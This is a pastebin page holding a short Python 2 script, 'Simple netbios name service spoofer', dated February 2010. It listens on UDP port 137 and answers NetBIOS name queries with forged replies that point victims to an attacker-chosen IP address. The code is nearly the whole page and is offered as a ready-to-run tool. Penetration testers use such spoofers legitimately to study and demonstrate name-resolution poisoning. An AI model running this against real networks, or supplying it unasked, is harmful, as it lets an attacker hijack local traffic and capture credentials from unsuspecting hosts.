Recent Posts
HTML | 4 sec ago
Java | 7 sec ago
C# | 8 sec ago
None | 13 sec ago
None | 31 sec ago
None | 35 sec ago
XML | 56 sec ago
None | 1 min ago
None | 1 min ago
None | 1 min ago
Sitereport
Find cool info about any domain on the internet?
visit sitereport
Free Subdomains
Want a pastebin.com sub-domain for your community?
learn more...
What is pastebin?
Pastebin is a website that hosts all your text & code on dedicated servers for easy sharing.
learn more...
By Laurent Gaffi on the 9th of Feb 2010 10:51:22 PM
Download |
Raw |
Embed |
Report
##Simple netbios name service spoofer.
import sys, SocketServer
from socket import inet_aton
if len(sys.argv)<=1:
sys.exit('Give me an IP')
#NBNS SPOOF;
answer = [chr(int(a, 16)) for a in """
08 f3 85 80 00 00 00 01 00 00 00 00 20 46 48 45
50 46 43 45 4c 45 48 46 43 45 50 46 46 46 41 43
41 43 41 43 41 43 41 43 41 43 41 42 4e 00 00 20
00 01 00 04 93 e0 00 06 00 00""".split()]
def nametid(data,packet):
pack = packet[:]
pack[0:2]=data[0:2]##Transaction ID
pack[12:48]=data[12:48]##Netbios name
return pack
class NBS(SocketServer.BaseRequestHandler):
def server_bind(self):
self.socket.setsockopt(SOL_SOCKET, SO_REUSEADDR,SO_REUSEPORT, 1)
self.socket.bind(self.server_address)
def handle(self):
request, socket = self.request
print "From:", self.client_address
## waiting for query ..
if request[2:4] == "\x01\x10":
buffer0 = ''.join(nametid(request,answer))+inet_aton(str(sys.argv[1]))
socket.sendto(buffer0, self.client_address)
print "Fake Response sended\n"
launch = SocketServer.UDPServer(('', 137),NBS)
launch.serve_forever()
Submit a correction or amendment below.
Make A New Post